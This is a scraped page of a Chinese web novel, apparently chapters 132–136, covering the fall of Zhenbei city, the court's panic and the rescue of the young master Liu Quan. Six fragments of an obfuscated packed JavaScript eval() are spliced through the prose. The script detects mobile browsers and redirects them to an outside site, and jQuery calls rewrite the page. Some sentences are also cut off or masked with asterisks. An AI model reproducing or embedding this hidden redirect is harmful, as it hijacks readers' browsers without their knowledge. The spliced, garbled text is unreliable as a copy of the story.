35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453181|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 从地方调任京畿,若非朝中有人力荐,寻常官员几乎没有可能。 看来吴大人,在京都也有自己的门路。 卢璘与吴井元又客 套了几句见老爹在一旁急不可耐的样子笑着和吴井元一拱手就准备招呼老爹去搬米。 刚走两步 可一回头身后却空空如也。 卢璘的眉头微微皱起。 这丫头跑到哪里去了。 来之前明明交代过让她跟紧了不要乱跑。 他转头看向吴井元开口问道: “吴大人可曾看到刚才跟我们一起来的那个小姑娘?” 吴井元脸上的笑容一顿神情有些发愣。 很是意外地看了看卢璘又看了看一旁的卢厚。 “小姑娘?” 吴井元脸上满是疑惑: “方才不就卢案首和你爹二人前来吗?” 话音落下。 卢璘瞳孔骤缩。 另一边 消失的郑宁正步履缓慢地走在清河县最繁华的主街上。 明明迈出的步子很小裙摆几乎没有晃动。 可街边的景象却在她身侧飞速**。 前一刻还是包子铺下一瞬就变成了茶馆。 数十里长的清河大街转眼间便被她走完了大半。 更为奇怪的是周围熙熙攘攘的人群根本看不到察觉不到郑宁的存在。 人流在她身前自然而然地分开没有一丝一毫的察觉。 不知何时郑宁身边多了一道身影。 是一个全身都笼罩在黑袍里的人佝偻着身子亦步亦趋地跟在郑宁身侧是男是女都不得而知。 郑宁脚步不停头也不抬依旧目视前方。 “庞盛答应了吗?” 声线完全不是郑宁这个年龄该有的特点。 表现一种冷冽漠视的味道。 黑袍身影没有出声缓缓地点了点头。 郑宁轻轻叹了口气摇了摇头眼睛里罕见出现了茫然之色。 她像是在问身边的黑袍人又像是在自言自语。 “若不是你们逼我何至于此。” “何至于此啊?” 第132章 八百里加急! 两日后,京都。 宣政殿。 天光未亮,便开始了新一天的早朝。 殿内烛火通明,映照着一张张神情肃穆的脸。 文武百官身着朝服,分列两侧。 龙椅之上,昭宁帝身着明黄龙袍,面容沉静,目光扫过下方群臣。 御座左下方,首辅宴居闭目养神。 右下方,次辅柳拱手持玉笏,神情一丝不苟。 早朝的议题,依照惯例,由礼仪祭祀之事开始。 国子监官员立于殿中,汇报完今年恩科增开名额的事宜,等候昭宁帝决议。 昭宁帝略一颔首,算是拍板定下。 “准。” 汇报完科举增加名额一事后,就轮到负责京察的吏部了。 内阁次辅,兼吏部尚书的柳拱随即拱手出列,声音沉稳: “陛下,今年京察已毕。” “核验四品以下在京官员,共计三百七十二人,依大夏律,罢黜者一十有三,得‘上上’考评者,七人。” 汇报完毕,柳拱退回原位。 昭宁帝目光平淡,望着群臣缓缓开口:“众卿可有异议?” 话音刚落,一名身着青色官袍的御史便从队列中站了出来: “臣,有异议。” 是专司风闻奏事的监察御史。 殿内瞬间安静下来,所有人的目光都汇聚到了那名御史身上。 监察御史毫无畏惧,目光直视前方,朗声道:“敢问柳阁老,清河县知县吴井元,考评仅为‘中中’,何以能破格提拔,入京担任巡察御史?” “其中,是否有结党营私之嫌?” 问的是柳拱,可监察御史的目光却毫不避讳地扫向了首辅宴居。 话里话外,几乎就是指着宴居的鼻子,骂他任人唯亲,结党营私。 大夏的监察御史,若非一身硬骨头,根本坐不稳这个位子。 即便是权倾朝野的宴首辅,也免不了隔三差五便被**的命运。 首辅和次辅联手了? 殿内百官脑袋里同时浮现这个想法。 就在众人以为又将上演一场御史怒喷首辅的大戏时,龙椅上的昭宁帝,却突然开口: “放肆。” “太祖设监察御史,是为风闻奏事,纠察百官,不是让尔等捕风捉影,攻讦朝臣。” “宴首辅三朝元老,更是先帝钦点的辅政重臣,你是在说我大夏的首辅结党营私,还是影射朕有眼无珠?” “此事,不必再议。” 此言一出,满殿皆惊。 一直闭目养神的宴居,缓缓睁开眼,嘴角勾起一抹轻笑。 柳拱闻言,眉头几不可查地皱了一下。 清河县令吴井元? 他居然能搭上宴居的线? 更让他感到意外的,是圣上的态度。 如此旗帜鲜明地维护宴居,这还是头一次。 圣上此举,究竟是何意? 又在向朝堂传达何种信号? 监察御史还想再说些什么,却被昭宁帝一个冰冷的眼神制止。 “下一个议题。” 兵部尚书立刻站了出来,神情凝重。 “陛下,镇北城防务吃紧,去岁冬末至今,北疆蛮族屡屡叩关,辎重粮草消耗甚巨,恳请户部即刻拨发军饷。” 昭宁帝点了点头,目光不着痕迹地瞥了一眼殿外。 “众卿议一议。” 此言一出,刚才还算平静的朝堂,瞬间炸开了锅。 兵部与户部的官员立刻吵作一团,一个哭穷,一个喊急,唾沫横飞,互不相让。 就在这时,殿外传来一道尖锐唱喏声,盖过了所有争吵。 “陛下!” “镇北城八百里加急!” 满殿文武,瞬间噤声。 所有人齐刷刷地朝着殿门望去。 殿门推开,一名小太监连滚带爬地跑了进来,身后,跟着一个全身笼罩在破烂铠甲里的身影。 是一名老兵,身上的甲胄早已残破不堪,血迹凝固成硬块,发黑的同时,传来刺鼻的臭味。 左边的袖管空荡荡的,随着他踉跄的脚步无力地摆动。 老兵走到殿中,再也支撑不住,双膝一软,重重跪倒在地,从怀中颤抖着摸出一块令牌,高高举过头顶。 “镇北城,斥候营,甲字营百户,周山,叩见陛下!” 兵部尚书一个箭步冲上前,接过令牌端详片刻,脸色瞬间变得惨白。 他转过 身,声音发颤。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453182|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “陛下,令牌无误,确是庞将军亲卫斥候营的人。 伺候闻言努力抬起头,泪水滚滚而下,而后用尽全身力气,发出嘶吼。 “圣上! “北疆告急! “镇北城失守了啊! 最后四个字,在宣政殿内轰然炸响。 满朝文武,有一个算一个,全都懵了。 镇北城? 大夏立国百年,从未陷落的北境雄关? 失守了? 怎么可能? 刚刚兵部和户部还在因为镇北城明年的辎重寸步不让地争吵,下一刻就告诉我们失守了? 御座之上,昭宁帝瞳孔骤然收缩,却看到伺候从怀里掏出一个沾满血污的铜匣。 “十一月丙子,妖蛮二十万大军,绕过烽火台,奇袭镇北城。 “庞将军率全军将士迎战,血战三日,三日啊! “末将奉命突围之时,我部仅剩……仅剩数百残兵…… “镇北城,沦陷了啊! 伺候说完,头颅重重地磕在冰冷的地面上,整个人瘫软下去,不省人事。 殿内,百官哗然。 “二十万大军!妖蛮何时有了如此大的胆子! “庞盛将军呢?镇北军十万精锐,怎么会败得如此之快! “之前为何没有半点军情传来?钦天监和边境的探子都是**吗! “城中数十万百姓以妖蛮的残暴 一个官员说到一半,便说不下去了,脸上满是惊恐绝望。 镇北城是大夏的北大门。 此门一失,妖蛮铁骑便可长驱直入,兵锋直指京畿,整个中原腹地,都将毫无遮拦地暴露在敌人的兵锋之下。 柳拱脑海里嗡的一声,一片空白。 镇北城. 权哥儿. “请君暂上凌烟阁,若个书生万户侯。 权哥儿走之前,意气风发地在自己面前念诗的场景还历历在目。 一股钻心的痛楚,让柳拱眼前阵阵发黑,身子都控制不住地晃了晃。 御座上,昭宁帝身体猛地一颤,脸上满是痛苦和愤怒,咬牙切齿地从口中挤出一句话: “庞盛该死啊!死有余辜! “误朕!误朕大夏,误朕镇北城几十万子民. 第133章 不怕北狩未归? 柳拱闻言,猛地抬起头。 看到昭宁帝正直勾勾地盯着自己,眼中满是怨毒冰冷。 柳拱强行压下心头的剧痛,将权哥儿的身影从脑海中挥去,上前一步,开口道: “陛下,臣有疑。” 昭宁帝冷冷地看着他,没有说话。 柳拱毫不退缩,继续开口。 “其一,妖蛮二十万大军倾巢而出,如此大的动静,我大夏安插在北疆的探子,为何没有半点风声传回?钦天监观星象,也无任何示警,这二十万大军,是如何做到凭空出现的?” “其二,庞盛将军非是庸才,他曾在妖蛮手上吃过亏,最是知晓‘存人失地,人地皆存’的道理。他怎么会如此不智,放弃雄关之利,与二十万妖蛮大军在城外血战?坚壁清野,固守待援,方是上策!” 殿内的慌乱,为之一顿。 是啊,这太不合常理了。 庞盛又不是初次上战场,并非不知兵,怎会如此不智? 柳拱话锋一转,直视昭宁帝。 “陛下!若妖蛮二十万大军当真长驱直入,那我大夏布防皆在边关,中原腹地兵力空虚,京畿危矣!” “当务之急,是圣上的安危啊!” 此言一出,百官才如梦初醒,一股寒意从脚底直冲天灵盖。 京畿危矣! 圣上有危险,那他们这些王公大臣,岂不是也成了砧板上的鱼肉? “柳阁老所言极是!陛下,君子不立危墙之下,请陛下暂移圣驾,以策万全!” “请陛下即刻下旨,宣各地藩王带兵进京勤王!” “是啊陛下,妖蛮入冬,不过是为劫掠过冬物资,待其抢掠一番,开春自会退去,届时我等再重振旗鼓,收复失地不迟!” 一时间,殿内七嘴八舌,劝谏之声此起彼伏。 龙椅上,昭宁帝脸上满是愤怒、痛苦,挣扎了片刻,昭宁帝拍案而起,冷眼看着殿中的群臣。 “够了!” “朕的先祖,太祖皇帝,北拒妖蛮三千里,打得他们百年不敢南望!” “而今,他的子孙,却要被一群蛮子撵得如丧家之犬一般,仓皇逃命?” “你们让朕死后,有何颜面去见列祖列宗!” “ 朕,誓与大夏社稷,共存亡! 百官闻言,纷纷跪倒在地,痛哭流涕。 “陛下,以大局为重啊! “留得青山在,不怕没柴烧啊陛下! 昭宁帝看着下方跪倒一片的臣子,眼中满是疯狂决绝。 “朕意已决。 “自即刻起,谁敢再议‘逃’字。 “斩! 清河县,文庙街。 小小的堂屋里,此刻却挤满了人。 沈春芳是两天前回来了,同时也带回来了镇北城沦陷的噩耗。 老爷和夫人也来了。 夫人一双眼睛红肿不堪,显然是刚刚痛哭过,此刻正被李氏搀扶着,靠在椅子上,目光空洞。 李氏不停地用手轻抚着柳夫人的后背,嘴里轻声宽慰: “夫人,您别太担心了。 “少爷他吉人自有天相,肯定不会这么容易出事的。 一旁的沈春芳帮着宽慰道:“权哥儿身上有璘哥儿给的战诗词原稿,庞将军也不是鲁莽之人,肯定会安排人手保护他的。 “他极有可能还活着。 老爷闻言抬头,一双眼睛里满是血丝。 自从得知镇北城沦陷的消息后,老爷两天两夜未眠。 这可是柳家三代单传的独苗啊! 爹不是说只是去镇北城历练一段时间吗? 怎么就会失守呢? 老爷也知道夫子是好心安慰。 可从京都传来的最新情况,连庞将军本人都生死未知。 更别说权哥儿了。 卢璘默默的给老爷添了杯茶水,没有开口。 他并不擅长安慰人,只希望少爷真的能福大命大,逃过这一劫。 镇北城是大夏第一雄关,几百年没有出过问题。 怎么会说沦陷就沦陷。 良久沉默,卢璘望向夫子,提出了自己的困惑: “夫子,为何钦天监没有提前得知妖蛮异动? “二十万大军叩关,如此大的动静,怎么可能没有半点风声? 此言一出,众人的目光都汇聚到夫子身上。 沈夫子长长地叹了口气,神情无比凝重: “这也是朝堂上百官都想不通35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453183|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 的问题。” “要想悄无声息地隐瞒二十万妖蛮大军的动向只有两种可能。” “一种是文宗境的读书人出手以瞒天过海之能躲过了钦天监的侦查。” “另一种 老爷闻言脸色骤变沉声道:“妖蛮之地不通教化怎么可能诞生文宗境的读书人。” “难不成难不成是妖蛮和西域诸国搭上了线?” “我早就知道这群和尚亡我之心不死一直想掘我读书人的根子!” 文宗大儒之上的存在。 整个大夏王朝屈指可数每一位都是**国运的定海神针。 妖蛮之地茹毛饮血不通教化怎么可能有这等人物。 沈春芳缓缓摇头: “目前并没有探查到西域诸国有异动的消息。” “是不是西域现在还不能确定。” 卢璘听着夫子的分析心中却不受控制地浮现出第三种可能。 钦天监. 这个念头一出现连卢璘都汗**倒竖觉得不太可能。 事关大夏国本若真是钦天监出了问题那后果不堪设想。 卢璘摇头将那个荒唐至极的念头从脑海中甩开。 钦天监出了问题? 那整个大夏就真的从根子上烂透了。 钦天监乃是圣院直属监察天下气运预测吉凶祸福地位超然独立于朝堂之外。 北疆妖蛮怎么可能有能力将手伸到这里来。 卢璘转头问出了另一个困惑。 “夫子圣上为何不迁都?” “京都固然重要可只要大夏的政权正统不失迁都暂避锋芒日后未必没有收复失地的机会。” “为何要执着于与京都共存亡?” 这个问题着实让卢璘费解。 难道圣上真的不怕妖蛮长驱直入真的已经将生死置之度外? 还是说圣上另有后手? 要不然如何解释圣上竟果决到了如此地步? 真的不担心会出现“北狩未归”的局面吗? 北狩未归。 这是前世史书上对徽钦二宗被金兵俘虏美化说辞。 沈春芳当然听出了卢璘话语里的言外之意也知道他口中那最糟糕的局面究竟意味着什么。 第134章 北境 夫子的脸色变得无比凝重。 “圣上有何打算,暂且不知。” “但让我感到意外的是,宴居这次,没有任何表态。” “身为先帝钦点的辅政大臣,按理说,在这等关乎国本的大事面前,理应由他来做最后的决断。” “毕竟,圣上还未真正亲政。” 卢璘闻言,若有所思。 良久,才听到沈春芳继续开口。 “璘哥儿,别想这么多了。” “还有一个月就要下场了,有什么抱负,等你一路过了院试,乡试,会试,再施展也不迟。” “今年,是大争之世,你要做的,就是稳扎稳打,钻研学问” 沈春芳不想让卢璘把太多的心思,放在这些朝堂纷争之上。 虽说天下兴亡,匹夫有责。 可璘哥儿毕竟还没有官位在身,现在想这些,终究是太远了。 这些事,自有朝堂上的诸公去决断。 卢璘点了点头,他知道夫子这是好意。 “学生明白。” 气氛沉默了好一会,老爷又重重地叹了口气,缓缓起身: “活要见人,死要见尸。” “我已经拜托老泰山,派人去寻找权哥儿的踪迹了。” 他对着沈春芳拱了拱手。 “夫子,若是有什么消息,还请第一时间通知我。” 老爷知道夫子有自己的消息渠道,心学虽然式微,但瘦死的骆驼比马大,说不定能帮上忙。 沈春芳郑重地点了点头,少爷也是他看得长大的,理所应当。 交代完,老爷叹了口气,搀着夫人失魂落魄地离开了。 看着老爷和夫人萧索背影,李氏也忍不住红了眼眶,长叹一声: “希望少爷福大命大,真要出了什么事,夫人可怎么受得了啊。” 李氏心有戚戚,转过头,一把拉住卢璘的胳膊,郑重其事地交代说: “璘哥儿,你听娘说。” “以后无论如何,你都不能上战场,听到了没有?” 直到卢璘认真地点头,李氏心里才踏实,暗自摇头,回了自己房间。 屋子里的人渐渐散去,各忙各的去了。 只剩下卢璘和一直靠在窗 边的郑宁。 卢璘转过身,目光落在郑宁身上。 “你就没什么想对我说的吗? 卢璘直勾勾地盯着郑宁,仔细观察着郑宁脸上的异样。 这么小的孩子,如果真有问题,总不能一点蛛丝马迹都不暴露吧? 卢璘越来越觉得郑宁这丫头很不对劲。 不知道从什么时候开始,这丫头露面的时间,越来越少了。 这次要不是夫子回来,卢璘估计她又会像往常一样,在房间里待上一整天。 问就是正在长身体,要多睡觉。 可卢璘又不傻。 妹妹小石头那整天都使不完的劲,活生生地摆在这里。 还有之前在县衙走散那事。 尽管郑宁事后也解释了,给出的理由听上去也很正常,无非是小孩子贪玩,被街边的热闹吸引了。 但卢璘总觉得不对劲。 吴井元那句“方才,不就卢案首和你爹二人前来吗,始终在他脑海里挥之不去。 迎着卢璘审视的目光,郑宁歪着头,大眼睛里满是纯真,一副你在说什么的样子,反问道:“对你说什么? “祝你接下来的院试顺利? “那老头不是对你很有信心吗? “连院试都过不去,你还想着和其他世家争锋? 一如既往的毒舌,卢璘眉头皱起,仍旧一言不发,静静地看着她。 看了许久,卢璘才缓缓摇头,心里暗自叹气。 是真没问题,还是隐藏得很好? 郑宁被卢璘目光盯得有些不舒服,小小的身子扭了扭,转身准备转身回房。 在她即将踏进房门的那一刻,卢璘的声音从身后传来。 “听闻圣上有一女,与你年龄相仿,下次有空给我讲讲小公主的事。 郑宁的脚步明显地顿了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453184|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,径直走回了自己的房间。 卢璘望着郑宁的方向,默默地叹了口气。 另一边,镇北城百里外,一处荒无人烟的村庄。 一间堆满了茅草的破屋内,一双满是血丝和仇恨的眼睛,从草堆的缝隙中警惕地望着外面。 少爷一动不动地蜷缩在茅草深处。 他已经在这里躲了整整三天了。 嘴唇干裂,身上早已破烂不堪,满是血迹。 从镇北城破的那天,庞将军的亲兵拼死将他送出城外后,一切都变成了噩梦。 他甚至没能跑出百里,就从逃难的百姓口中,得知了镇北城彻底沦陷的消息。 少爷下意识地摸了摸腰间,腰间别着一柄造型奇特的兵器,通体黝黑,刃口弯曲,心中涌起一阵后怕。 现在外面到处都是游弋的妖蛮斥候。 前天,他就撞上了一支五人的妖蛮小队。 要不是璘哥儿给的《与柳权别》原稿,在生死一线间,骤然迸发光芒,化作这柄吴钩…… 少爷不敢再想下去。 他只记得那五个妖蛮临死前,脸上那副见了鬼的惊恐表情。 也不知道爹娘和爷爷,现在知不知道镇北城的消息。 一股难以抵挡的疲惫感如潮水般涌来。 几天几夜以来,少爷滴水未进,粒米未食,精神早已绷到了极限。 眼皮沉重地往下坠,每一次闭上,都需要用尽全身的力气才能再次打开。 可少爷不敢闭眼,他害怕,怕自己就这么一睡,就再也醒不过来了。 可一想到庞将军走之前的交代,少爷再一次努力的睁大了眼。 “一定要把消息传回去。” “这不是妖蛮叩关。” “是通敌叛国啊!” 耳边回荡着庞将军的嘶吼,少爷狠狠地咬了一下自己的舌尖。 舌尖的剧痛和血腥味,强迫着自己打起了精神。 通敌叛国,是谁? 谁能让钦天监都. 少爷不敢往下想了。 第135章 《大夏太祖实录》 京都,宣政殿。 又是一日早朝。 镇北城沦陷的消息传回后,朝堂上的气氛一日比一日凝重。 自从昭宁帝那日拍案而起,说出“誓与京都共存亡”后,整个朝堂便再无人敢提迁都二字。 连首辅宴居,都选择沉默,百官们就算心里再怕,也只能硬着头皮,不敢妄议。 可京畿之地的守备力量,早已在百年的太平中被抽调一空,大多部署在边关。 如今北门大开,妖蛮长驱直入,这薄弱的京畿防线,又能抵挡多久? 这是百官们目前最担心的事。 兵部尚书从队列中走出,满脸倦容,开始汇报最新的军情。 “启奏陛下,妖蛮大军前锋已破云州,兵锋直指雁门关,距离京都仅一千二百余里。” “沿途州郡望风而降者有三,誓死抵抗而被屠城者,已有五座……” “逃难百姓不计其数,死伤枕藉,惨不忍睹。” 话音落下,殿内响起一片惊呼声。 距离镇北城破才半月不到,妖蛮铁骑竟已破了云州? 距离京都不过一千二百余里。 看似不短,可一千二百余里,而且是不设防的一千二百里,对妖蛮铁骑而言,不过是半旬路程。 兵部尚书顿了顿,继续开口,声音愈发沉重。 “各路勤王兵马,日夜兼程,然路途遥远.” “距京都最近的青州王,尚需五日方能抵达。” “其余各路藩王,最快也要七日之后。” 这意味着,京都,将有至少五日的空窗期,需要独自面对妖蛮的兵锋。 御座之上,昭宁帝的面容隐藏在冕旒之后,看不清真切。 早朝在压抑到极点的气氛中结束。 群臣鱼贯而出,百官们人人面带忧色,脚步匆匆。 柳拱没有立刻离去,独自站在殿外的廊柱下,寒风一吹,朝服摆动,整个人愈发消瘦。 短短数日,柳拱两鬓已是霜白一片。 他静静地看着散朝的百官,直到一个身影出现在他的视野里。 柳拱快步迎了上去。 “亲家。” 来人是太常寺卿林延潮,也是柳拱儿媳林氏的娘家叔叔。 林延潮见到柳拱如今这副苍老疲惫的模样,哪里还有半分大夏重臣的仪态,心中也是一叹。 权哥儿是柳家独苗,白发人送黑发人,这等打击,谁能承受得住。 “贤侄何时动身?柳拱开口。 柳拱口中的贤侄,正是林延潮的儿子,林然。 圣院浩然卫巡风使,正六品武职,统辖一卫所旗,掌十二名缇骑。 镇北城失陷后,朝廷派出了数支这样的斥候队伍,深入北疆,打探妖蛮的动向,而林然,便是其中一支队伍的统领。 柳拱的目的很简单,他想请林然在打探军情的同时,帮忙寻找孙子柳权的下落。 活要见人,死要见尸。 林延潮扶住柳拱的胳膊,沉声说道:“柳阁老,你当务之急是要保重好自己的身体啊! “我儿明日便起程。 “这大夏的江山社稷,还需要你来操持。 柳拱闻言,身子晃了晃,最终只是长长地叹了一口气。 操持国事? 自己连家都快保不住了。 得到了确切答复后,柳拱点了点头,对着林延潮一拱手,转身默默离去。 “至圣先师丘进曰:“政之兴废,在民忧乐;民之休戚,在官贤愚。今海内初定,而吏道未昌,愿陛下垂拱而责成于士,使股肱效其力,耳目尽其聪。 “上沉吟良久,顾谓左右曰:“昔马周有言:‘天子者,以兆民为子,以三公为杖。’朕亦欲与贤士大夫共治天下,非独朕之天下也。 “丘顿首曰:“善哉!君任其劳,臣分其忧,此之所以圣也。 文庙街,卢家小院,屋内。 卢璘合上手中的《大夏太祖实录》,细细回味刚刚书本上的内容。 这一段写的是大夏太祖和至圣先师丘的对话,确立了大夏朝后世王与士大夫共治天下的格局。 太祖皇帝果真非常人也。 能有“与士大夫共治天下的超前思想,其境界,不亚于前世传说中的尧舜。 放下《大夏太祖实录》后,卢璘目光落在了桌上另外几本书上。 《太宗定鼎垂统宏文实录》、《世宗绍统显武钦宪实录》、《仁宗体天隆道至诚实录》. 这段 时间他看的书很杂。 除了为科举准备的圣贤文章、策论实卷闲暇之余他几乎把所有时间都花在了大夏历任皇帝的起居注上。 从《大夏太祖实录》开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453185|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到后面七位帝王的日常起居凡是能找到的他都看完了。 其中最让卢璘感兴趣的还是大夏太祖的生平。 哪怕是第二次看卢璘依旧能从中看到许多之前未曾注意到的东西。 这时房门被轻轻推开。 沈春芳走了进来一眼便看到了卢璘桌面上摊开的各种起居注和《大夏太祖实录》眉头不自觉地皱了起来。 “璘哥儿你这段时日杂书看得太勤了。” 沈春芳心中叹了口气。 当初璘哥儿让自己搜寻一些本朝帝王记录之类的书籍他的本意是好的。 想着让璘哥儿开阔眼界为日**仕做准备便把自己心学一脉关于帝王的记录一股脑地都拿了出来。 毕竟这些东西以璘哥儿的才学日后迟早也能接触到。 可谁能想到这段时间璘哥儿竟一头扎进了这些杂书里。 院试可就还有几天了啊。 自己这番举动莫不是好心办了坏事? 更让沈春芳担忧的是他怕卢璘走上歧途。 读书人研究帝王喜好揣摩上意这不是正道是佞臣之始。 卢璘闻言对着沈春芳拱了拱手。 “夫子“课业已经做完了。” 说完卢璘指了指书桌的另一侧那里整整齐齐地码放着一叠写好的文章。 “闲暇之余看看这些权当解乏。” 沈春芳的脸色这才好看了些。 他走到书桌前拿起最上面的一篇策论看了看。 字迹刚健有力论点清晰引经据典无一处不妥帖。 也是 沈春芳放下心来正准备开口夸赞几句却又听卢璘继续开口: “夫子我这几日翻阅历代先帝的起居注倒是发现了一个很有趣的问题。” 沈春芳捋了捋胡须:“哦?” 卢璘拿起桌上的几本起居注一一摊开。 “夫子您看。” “从太祖皇帝之后的七位先帝为何他们驾崩的时间都如此……接近?” “莫非我大夏皇室有何世病或代病不成?” 世病和代病用前世的话来说就是家族遗传病。 大夏七帝的结局几乎如出一辙太过巧合巧合得让卢璘不得不往这方面去想。 卢璘看着夫子问出了那个盘旋在心头许久的问题。 话音落下只见沈春芳瞳孔骤缩愣在了原地。 第136章 少爷得救 房门被推开了。 李氏裹着厚棉袄走了进来,身后还跟着个郑宁。 “哎哟,这屋里怎么跟冰窖似的,也不添点炭火。” 李氏一边搓着手,一边抱怨着,完全没有察觉到屋里气氛有些不对。 “夫子,璘哥儿,你们俩说什么呢,这么入神?” 郑宁跟在李氏身后,一进屋,眼睛滴溜溜地转了一圈,落在了卢璘和沈春芳身上。 卢璘看到郑宁,到嘴边的话,又咽了回去。 不动声色地将桌上摊开的几本起居注合上,码放整齐。 这个话题,不能再继续了。 沈春芳也回过神来,转过头,脸色严肃,一副郑重其事的口吻对卢璘开口道: “璘哥儿。” “这些事,不是你现在该关心的。” “你的首要之务,是几日后的院试,是接下来的乡试,会试。” “把心思都放在学问上,莫要再被这些杂事分心。” 话音刚落,郑宁满是讥诮声音响起: “现在才开始担心院试了?” 郑宁双手抱胸,仰着小脸,毫不客气地看着沈春芳。 “老头,你是怎么教学生的?” “临阵磨枪,不快也光?这都什么时候了,才想起来用功,还有什么用?” 李氏一听这话,顿时不乐意了。 转头一看夫子一脸严肃的样子,还以为璘哥儿哪里惹夫子生气了。 连忙上前打圆场,先是佯装生气地拍了卢璘一下。 “璘哥儿,夫子是你老师,说你两句怎么了?得听着!” 说完,李氏又转过头,满脸堆笑地对着沈春芳。 “夫子,您别生气,可千万别跟这孩子一般见识。” “璘哥儿这孩子,一向是懂事的,从来不用人操心。” “估计是最近少爷的安危,让璘哥儿分了心,没把心思全放在书本上。” 李氏一边说,一边给卢璘使眼色。 “回头我肯定好好说说他!” 沈春芳长长地叹了口气,摆了摆手。 自己哪里是生璘哥儿的气。 他是怕啊。 怕璘哥儿陷得进去了。 这潭水,太 深了。 深到连师兄都只能在边缘试探。 璘哥儿固然天资横溢,可毕竟还太年轻,根基太浅。 李氏见夫子脸色缓和下来,这才放下心来。 她转头对卢璘说。 “行了,别在这杵着了,你爹也该从铺子里回来了。” “你去巷子口迎迎他,喊他赶紧回来吃饭,菜都快凉了。” 卢璘点了点头,应了一声。 站起身,朝着门口走去。 经过郑宁身边时,微微偏过头,瞥了她一眼。 郑宁抱着胳膊的小手,不自觉地紧了紧。 四天后,云州城外。 官道上满是南逃的难民,一眼望不到头。 圣院浩然卫巡风使林然骑在马上,面无表情地扫视着一张张麻木的脸。 他身后,是十二名同样装束的缇骑,腰挎长刀,骑着高头大马。 圣院直属武装浩然卫。 林然和自己的小队已经在这片沦陷区穿梭了整整四日,风餐露宿,数次与妖蛮的游骑擦肩而过。 越往北,景象越是凄惨。 十室九空,处处残垣断壁。 林然骑在马上,心一点点往下沉。 很难想象,表弟权哥儿在这等境地能活过几天。 姑父说的生要见人,死要见尸,可真要是带回去的是一具尸体。 姑父姑母该如何承受啊! 就在这时,难民队伍里,一道微弱呼喊,钻进了他的耳朵。 “然哥儿….” 林然动作一顿,猛地勒住缰绳。 循着声音望去,目光锁定在人群中一个蜷缩着的身影上。 一个乞丐,不,连乞丐都不如。 头发结成了饼,身上裹着不知从哪里扒下来的破布,脸上黑一道灰一道,几乎看不出本来的样貌。 整个人瘦得脱了形,只剩下一双眼睛,炯炯有神。 可这种有神并不是好事,林然见过太多将死之人了,都是这种回光返照的有神。 林然翻身下马,几步冲了过去,拨开挡在身前的难民。 周围的人被他身上的煞气所慑,纷纷避让。 蹲下身,仔细看着眼前这种满是血污的脸,依稀能看得出权 哥儿的轮廓。 真的是权哥儿啊! 老天有眼! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453186|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少爷看到林然脸上挤出一个比哭还难看的笑。 “表哥…” 喊完这一声少爷身子一软整个直愣愣地向前栽倒。 林然一把将少爷接住避免直接砸倒在地上。 自己带着直属小队尚且历经重重危险才找到这里。 很难想象权哥儿这段时间到底经历了什么。 …… 